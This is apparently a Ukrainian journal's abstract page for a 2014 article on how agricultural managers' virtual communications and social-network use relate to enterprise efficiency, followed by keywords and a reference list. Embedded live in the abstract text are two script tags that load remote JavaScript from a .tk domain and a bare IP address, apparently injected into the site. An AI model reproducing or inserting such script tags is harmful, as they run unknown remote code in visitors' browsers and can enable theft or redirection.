ISSN 2413-2322 (Online)

ISSN 2221-1055 (Print)

УДК: 331.522.4:658.284
Управління та інформаційне забезпечення

Віртуальні комунікації та їх вплив на ефективність діяльності агроформувань / Безус Р. М., Лебідь О. В. // Економіка АПК. - 2014. - № 11 - С. 68

Досліджено вплив комунікацій керівників агропромислових підприємств на ефективність їхнього господарювання та прибутковість діяльності. Визначено основні види впливу людського фактора на підвищення ефективності діяльності агропідприємств. Встановлено, якими якостями повинен володіти сучасний керівник, щоб успішно здійснювати управління у такій непередбачуваній галузі, як сільське господарство. Розглянуто перехід суспільства до так званої мережевої епохи, що значно розширює можливості спілкування й поліпшує комунікації керівників агроформувань. Встановлено, що керівники жіночої статі адаптованіші до віртуальних комунікацій та підтримки зв’язків, що підтверджується активнішим користуванням соціальними мережами, що має обернений зв’язок до відсотка прибутку в доходах підприємства. Табл.: 2. Рис.: 7. Бібліогр.: 27.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Ключові слова: трудові ресурси, персонал, комунікації, рівень комунікацій, освіта керівника, мережева епоха, Інтернет-мережі, ефективність діяльності

Список використаних джерел

  1. Adamchuk, V.V. Romashov, O.V. and Sorokina, M.E. (2000), Ekonomika i sociologija truda [Economics and Sociology of Labour], JuNITI, Moskva, Rossija.
  2. Amosha, O.I. (2002), Ljudyna ta navkolyshnje seredovyshhe: ekonomichni problemy ekologichnoi' bezpeky vyrobnyctva [The man and the environment: economic problems of ecological safety of production], Naukova dumka, Kyiv, Ukraine.
  3. Afonin, A.S. (1994), Osnovy motivacii truda: organizacionno-jekonomicheskij aspect [Fundamentals of motivation: organizational and economic aspects], Kyiv, Ukraine.
  4. Bandur, S. I. Zajac', T.A. and Kucenko, V.I. (2006), Social'nyj rozvytok Ukrai'ny: suchasni transformacii' ta perspektyvy [Social Ukraine: modern transformation and prospects], Brama-Ukrai'na, Cherkasy, Ukraine.
  5. Bilopol's'kyj, M.G. Miljavs'kyj, M.Ju Astapova, G.V. and Filipishyn, I.V. (2010), Upravlinnja mashynobudivnym pidpryjemstvom na osnovi vdoskonalennja mehanizmu korporatyvnogo kontrolju i vnutrishn'ogo audytu [Management of engineering enterprises through improved mechanisms for corporate control and internal audit], TOV «Shidnyj vydavnychyj dim», Donec'k, Ukraine.
  6. Bogynja, D.P. and Grishnova, O.A. (2002), Osnovy ekonomiky praci [Fundamentals of labor economics], 3rd ed, Znannja-Pres, Kyiv, Ukraine.
  7. Gryn'ova, V.M. and Novikova, M.M. (2008), Derzhavne reguljuvannja ekonomiky [State regulation of economy], Znannja, Kyiv, Ukraine.
  8. Danjuk, V.M. Petjuh, V.M. and Cymbaljuk, S.O., Menedzhment personal [Management staff], KNEU, Ukraine.
  9. Dolishnij, M.I. and Miklovda, V.P. (2004), “Prerequisites formulation and implementation of regional policy”, [Socio-economic research in transition. Principles of formation of regional social and economic policy], UGII ed, NAN Ukrai'ny, Instytut regional'nyh doslidzhen', L'viv, Ukraine, pp. 7–19.
  10. Jegorshyn, A.P. (1999), Upravlinnja personalom [Management personnel], 2nd ed, NIMB, N. Novgorod, Russia.
  11. Libanova, E.M. (2003), Rynok praci [Labour-market], CUL, Kyiv, Ukraine.
  12. Kachan, Je.P. (2008), “Directions and priorities of adjusting of employment of population are in the conditions of strengthening of the crisis phenomena in an economy”, zb. nauk. prac' kaf. upravlinnja trudovymy resursamy i rozmishhennja produktyvnyh syl [Regional aspects of development and placing of productive forces of Ukraine], Ternop. akad. nar. gosp-va, Ternopil', Ukraine, pp. 64–68.
  13. Kybanov, A.Ja. (2005), Upravlenie personalom organizacii [Management by the personnel of organization], INFRA-M, Moskva, Rossija.
  14. Krushel'nyc'ka, O.V. and Mel'nychuk, D.P. (2005), Upravlinnja personalom [Management a personnel], 2nd ed, Kondor, Kyiv, Ukraine.
  15. Nyzhnyk, V.M. (2002), “Automation of management of labour expenses is in the loop of life of competitive products”, Visnyk Tehnologichnogo universytetu Podillja, vol. 2, no.1 pp. 14–17.
  16. Soroka, I.V. (2002), Infrastruktura tovarnogo rynku [Infrastructure of commodity market], NMCV0 MOiN Ukrai'ny, NVF «Studcentr», Kyiv, Ukraine.
  17. Shhёkyn, G.V. (2000), Socyal'naja teoryja y kadrovaja polytyka [Social theory and skilled politics], MAUP, Kyiv, Ukraine.
  18. Petjuh, V.M. (2000), Upravlinnja personalom [Management a personnel], KNEU, Kyiv, Ukraine.
  19. Jakokka, Ly (1991), Kar’jera menedzhera [Career of manager], Moskva, Rossija.
  20. Gejec', V.M. (2013), “Is there what future at the social state?”, Ekonomika Ukrai'ny, vol. 7, pp. 4–20.
  21. Bukovyns'ka, M.P. (2012), “Development of personnel as ponderable aspect of economic security”, Ekonomika APK, vol. 12, pp. 125–130.
  22. Bitter, O.A. and Malec'ka, O.I. (2012), “A management a personnel is in agricultural enterprises ”, Ekonomika APK, vol. 3, pp. 68–72.
  23. Links to the 53 European Countries (2012), [Electronic version]. – Access mode: http://www.internetworldstats.com/europa2.htm.
  24. Activists of seventh day (2013) [Electronic version]. – Access mode:: http://newsplot.org/story/11024.
  25. Mir tesen: «Teorija 6 rukopozhatij» v jepohu socsetej (2012). [Electronic version]. – Access mode:: http://therunet.com/articles/871-mir-tesen-teoriya-6-rukopozhatiy-v-epohu-sotssetey.
  26. Kal'chenko, S.V. (2013), “Features of the skilled providing are in an agrarian sphere”, Ekonomika APK, vol. 8, pp. 52–56.
  27. Zinov'ev, I.F. and Kosmarova, N.A. (2005), “Estimation of losses from the outflow of the Intellectual potential”, Ekonomika Kryma, vol. 13, pp. 13–15.
Читати статтю: 14_11_68-77.pdf